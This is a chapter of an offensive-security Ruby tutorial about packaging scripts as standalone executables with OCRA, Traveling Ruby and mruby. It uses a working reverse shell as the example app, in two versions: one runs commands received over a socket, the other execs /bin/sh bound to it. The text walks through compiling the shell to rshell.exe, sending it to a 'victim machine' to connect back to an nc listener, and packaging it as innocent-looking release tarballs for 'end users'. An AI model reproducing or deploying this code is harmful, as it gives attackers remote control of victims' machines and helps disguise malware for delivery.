Module 0x2 | System Kung Fu

Packaging

Many questions about building a standalone application that doesn’t require Ruby to be pre-installed on the system. Of-course, due attacking machine you cant grantee that ruby is installed on the target system. So here we will demonstrate some ways to do that.

One-Click Ruby Application(OCRA) Builder

OCRA (One-Click Ruby Application) builds Windows executables from Ruby source code. The executable is a self-extracting, self-running executable that contains the Ruby interpreter, your source code and any additionally needed ruby libraries or DLL.

It’s Windows support only, not really ;)

  • Features

    • LZMA Compression (optional, default on)
    • Ruby 1.8.7, 1.9.3, 2.0.0 and 2.1.5 support
    • Both windowed/console mode supported
    • Includes gems based on usage, or from a Bundler Gemfile

  • To install OCRA

    1. gem install ocra

So all what to need is to have your application.

Suppose we have the following script, a reverse shell of course ;)

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. require 'socket'
  4. if ARGV[0].nil? || ARGV[1].nil?
  5.     puts "ruby #{__FILE__}.rb [HACKER_IP HACKER_PORT]\n\n"
  6.     exit
  7. end
  8. ip, port = ARGV
  9. s = TCPSocket.new(ip,port)
  10. while cmd = s.gets
  11.   IO.popen(cmd,"r"){|io|s.print io.read}
  12. end

from our Windows Attacker machine cmd.exe

  1. C:\Users\admin\Desktop>ocra rshell.rb --windows --console

Results 

  1. C:\Users\admin\Desktop>ocra rshell.rb --windows --console
  2. === Loading script to check dependencies
  3. ruby C:/Users/admin/Desktop/rshell.rb.rb [HACKER_IP HACKER_PORT]
  5. === Attempting to trigger autoload of Gem::ConfigFile
  6. === Attempting to trigger autoload of Gem::DependencyList
  7. === Attempting to trigger autoload of Gem::DependencyResolver
  8. === Attempting to trigger autoload of Gem::Installer
  9. === Attempting to trigger autoload of Gem::RequestSet
  10. === Attempting to trigger autoload of Gem::Source
  11. === Attempting to trigger autoload of Gem::SourceList
  12. === Attempting to trigger autoload of Gem::SpecFetcher
  13. === Attempting to trigger autoload of CGI::HtmlExtension
  14. === Detected gem ocra-1.3.5 (loaded, files)
  15. ===     6 files, 191333 bytes
  16. === Detected gem io-console-0.4.3 (loaded, files)
  17. === WARNING: Gem io-console-0.4.3 root folder was not found, skipping
  18. === Including 53 encoding support files (3424768 bytes, use --no-enc to exclude)
  19. === Building rshell.exe
  20. === Adding user-supplied source files
  21. === Adding ruby executable ruby.exe
  22. === Adding detected DLL C:/Ruby22/bin/zlib1.dll
  23. === Adding detected DLL C:/Ruby22/bin/LIBEAY32.dll
  24. === Adding detected DLL C:/Ruby22/bin/SSLEAY32.dll
  25. === Adding detected DLL C:/Ruby22/bin/libffi-6.dll
  26. === Adding library files
  27. === Compressing 10622666 bytes
  28. === Finished building rshell.exe (2756229 bytes)

In the same directory, you’ll find an exe file rshell.exe. Send it on the windows victim machine which doesn’t have ruby installed and run it.

  1. rshell.exe 192.168.0.14 9911

from our attacking machine we already listening on 9911

  1. nc -lvp 9911

Module 0x2 | System Kung Fu - 图1

Traveling-ruby

From official site[^1] “Traveling Ruby is a project which supplies self-contained, “portable” Ruby binaries: Ruby binaries that can run on any Linux distribution and any OS X machine. It also has Windows support (with some caveats). This allows Ruby app developers to bundle these binaries with their Ruby app, so that they can distribute a single package to end users, without needing end users to first install Ruby or gems.“

Note: The following script has been taken from the official docs.

Preparation

  1. mkdir rshell
  2. cd rshell
  • Create your application -in our case, reverse shell- in “rshell” folder

rshell.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. require 'socket'
  4. if ARGV.size < 2
  5.   puts "ruby #{__FILE__} [HACKER_IP] [HACKER_PORT]\n\n"
  6.   exit 0 
  7. end
  8. ip, port = ARGV
  9. s = TCPSocket.open(ip,port).to_i
  10. exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)
  • Test it 
  1. ruby rshell.rb 
  2. # => ruby rshell.rb [HACKER_IP] [HACKER_PORT]
Creating package directories

The next step is to prepare packages for all the target platforms, by creating a directory each platform, and by copying your app into each directory. (Assuming that your application could differ from OS to another)

  1. mkdir -p rshell-1.0.0-linux-x86/lib/app
  2. cp rshell.rb rshell-1.0.0-linux-x86/lib/app/
  4. mkdir -p rshell-1.0.0-linux-x86_64/lib/app
  5. cp rshell.rb rshell-1.0.0-linux-x86_64/lib/app/
  7. mkdir -p rshell-1.0.0-osx/lib/app/
  8. cp rshell.rb rshell-1.0.0-osx/lib/app/

Next, create a packaging directory and download Traveling Ruby binaries for each platform into that directory. Then extract these binaries into each packaging directory. You can find a list of binaries at the Traveling Ruby Amazon S3 bucket. For faster download times, use the CloudFront domain “http://d6r77u77i8pq3.cloudfront.net“. In this tutorial we’re extracting version 20141215-2.1.5.

  1. mkdir packaging
  2. cd packaging
  3. wget -c  http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-linux-x86.tar.gz
  4. wget -c  http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-linux-x86_64.tar.gz
  5. wget -c  http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-osx.tar.gz
  6. cd ..
  8. mkdir rshell-1.0.0-linux-x86/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-linux-x86.tar.gz -C rshell-1.0.0-linux-x86/lib/ruby
  9. mkdir rshell-1.0.0-linux-x86_64/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-linux-x86_64.tar.gz -C rshell-1.0.0-linux-x86_64/lib/ruby
  10. mkdir rshell-1.0.0-osx/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-osx.tar.gz -C rshell-1.0.0-osx/lib/ruby

Now, each package directory will have Ruby binaries included. It looks like this: Your directory structure will now look like this:

  1. rshell/
  2.  |
  3.  +-- rshell.rb
  4.  |
  5.  +-- rshell-linux86/
  6.  |   |
  7.  |   +-- lib/
  8.  |       +-- app/
  9.  |       |   |
  10.  |       |   +-- rshell.rb
  11.  |       |
  12.  |       +-- ruby/
  13.  |           |
  14.  |           +-- bin/
  15.  |           |   |
  16.  |           |   +-- ruby
  17.  |           |   +-- ...
  18.  |           +-- ...
  19.  |
  20.  +-- rshell-linux86_64/
  21.  |   |
  22.  |  ...
  23.  |
  24.  +-- rshell-osx/
  25.      |
  26.     ...
Quick sanity testing

Let’s do a basic sanity test by running your app with a bundled Ruby interpreter. Suppose that you are developing on OS X. Run this:

  1. cd rshell-osx
  2. ./lib/ruby/bin/ruby lib/app/rshell.rb
  3. # => ruby rshell.rb.rb [HACKER_IP  HACKER_PORT]
  5. cd ..
Creating a wrapper script

Now that you’ve verified that the bundled Ruby interpreter works, you’ll want create a wrapper script. After all, you don’t want your users to run /path-to-your-app/lib/ruby/bin/ruby /path-to-your-app/lib/app/rshell.rb. You want them to run /path-to-your-app/rshell.

Here’s what a wrapper script could look like:

  1. #!/bin/bash
  2. set -e
  4. # Figure out where this script is located.
  5. SELFDIR="`dirname \"$0\"`"
  6. SELFDIR="`cd \"$SELFDIR\" && pwd`"
  8. # Run the actual app using the bundled Ruby interpreter.
  9. exec "$SELFDIR/lib/ruby/bin/ruby" "$SELFDIR/lib/app/rshell.rb"

Save this file as packaging/wrapper.sh in your project’s root directory. Then you can copy it to each of your package directories and name it rshell:

  1. chmod +x packaging/wrapper.sh
  2. cp packaging/wrapper.sh rshell-1.0.0-linux-x86/rshell
  3. cp packaging/wrapper.sh rshell-1.0.0-linux-x86_64/rshell
  4. cp packaging/wrapper.sh rshell-1.0.0-osx/rshell
Finalizing packages
  1. tar -czf rshell-1.0.0-linux-x86.tar.gz rshell-1.0.0-linux-x86
  2. tar -czf rshell-1.0.0-linux-x86_64.tar.gz rshell-1.0.0-linux-x86_64
  3. tar -czf rshell-1.0.0-osx.tar.gz rshell-1.0.0-osx
  4. rm -rf rshell-1.0.0-linux-x86
  5. rm -rf rshell-1.0.0-linux-x86_64
  6. rm -rf rshell-1.0.0-osx

Congratulations, you have created packages using Traveling Ruby!

An x86 Linux user could now use your app like this:

  1. The user downloads rshell-1.0.0-linux-x86.tar.gz.
  2. The user extracts this file.
  3. The user runs your app:
  1. /path-to/rshell-1.0.0-linux-x86/rshell
  2. # => ruby rshell.rb.rb [HACKER_IP  HACKER_PORT]
Automating the process

Going through all of the above steps on every release is a hassle, so you should automate the packaging process, for example by using Rake. Here’s how the Rakefile could look like:

  1. PACKAGE_NAME = "rshell"
  2. VERSION = "1.0.0"
  3. TRAVELING_RUBY_VERSION = "20150210-2.1.5"
  5. desc "Package your app"
  6. task :package => ['package:linux:x86', 'package:linux:x86_64', 'package:osx']
  8. namespace :package do
  9.   namespace :linux do
  10.     desc "Package your app for Linux x86"
  11.     task :x86 => "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-linux-x86.tar.gz" do
  12.       create_package("linux-x86")
  13.     end
  15.     desc "Package your app for Linux x86_64"
  16.     task :x86_64 => "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-linux-x86_64.tar.gz" do
  17.       create_package("linux-x86_64")
  18.     end
  19.   end
  21.   desc "Package your app for OS X"
  22.   task :osx => "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-osx.tar.gz" do
  23.     create_package("osx")
  24.   end
  25. end
  27. file "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-linux-x86.tar.gz" do
  28.   download_runtime("linux-x86")
  29. end
  31. file "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-linux-x86_64.tar.gz" do
  32.   download_runtime("linux-x86_64")
  33. end
  35. file "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-osx.tar.gz" do
  36.   download_runtime("osx")
  37. end
  39. def create_package(target)
  40.   package_dir = "#{PACKAGE_NAME}-#{VERSION}-#{target}"
  41.   sh "rm -rf #{package_dir}"
  42.   sh "mkdir -p #{package_dir}/lib/app"
  43.   sh "cp rshell.rb #{package_dir}/lib/app/"
  44.   sh "mkdir #{package_dir}/lib/ruby"
  45.   sh "tar -xzf packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-#{target}.tar.gz -C #{package_dir}/lib/ruby"
  46.   sh "cp packaging/wrapper.sh #{package_dir}/rshell"
  47.   if !ENV['DIR_ONLY']
  48.     sh "tar -czf #{package_dir}.tar.gz #{package_dir}"
  49.     sh "rm -rf #{package_dir}"
  50.   end
  51. end
  53. def download_runtime(target)
  54.   sh "cd packaging && curl -L -O --fail " +
  55.     "http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-#{TRAVELING_RUBY_VERSION}-#{target}.tar.gz"
  56. end

You can then create all 3 packages by running:

  1. rake package

You can also create a package for a specific platform by running one of:

  1. rake package:linux:x86
  2. rake package:linux:x86_64
  3. rake package:osx

You can also just create package directories, without creating the .tar.gz files, by passing DIR_ONLY=1:

  1. rake package DIR_ONLY=1
  2. rake package:linux:x86 DIR_ONLY=1
  3. rake package:linux:x86_64 DIR_ONLY=1
  4. rake package:osx DIR_ONLY=1
On Victim Machine

You now have three files which you can distribute to end users.

  1. rshell-1.0.0-linux-x86.tar.gz
  2. rshell-1.0.0-linux-x86_64.tar.gz
  3. rshell-1.0.0-osx.tar.gz

Suppose the end user is on Linux x86_64. S/he uses your app by downloading rshell-1.0.0-linux-x86_64.tar.gz, extracting it and running it:

  1. wget rshell-1.0.0-linux-x86_64.tar.gz
  2. ...
  3. tar xzf rshell-1.0.0-linux-x86_64.tar.gz
  4. cd rshell-1.0.0-linux-x86_64
  5. ./rshell
  6. # => ruby rshell.rb.rb [HACKER_IP  HACKER_PORT]

mruby

mruby CLI[^2] A utility for setting up a CLI with mruby that compiles binaries to Linux, OS X, and Windows.

Prerequisites
  • mruby-cli
  • Docker
  • Docker Compose
Developer introduction

https://www.youtube.com/watch?v=OvuZ8R4Y9xA

Close Source code

Sometimes we don’t want to disclose our source code for whatever reason, but we still want to share our applications either commercially or for free. Here a commercial solution for that purpose, RubyEncoder.

RubyEncoder[^3] protects Ruby scripts by compiling Ruby source code into a bytecode format and this is followed by encryption. This protects your scripts from reverse engineering. Ruby scripts protected with RubyEncoder can be executed but cannot be used to extract Ruby source code as there is no source code remaining within the protected script in any form.

[^1]: Traveling-ruby: Official website
[^2]: mruby CLI: Official website
[^3]: RubyEncoder: Official website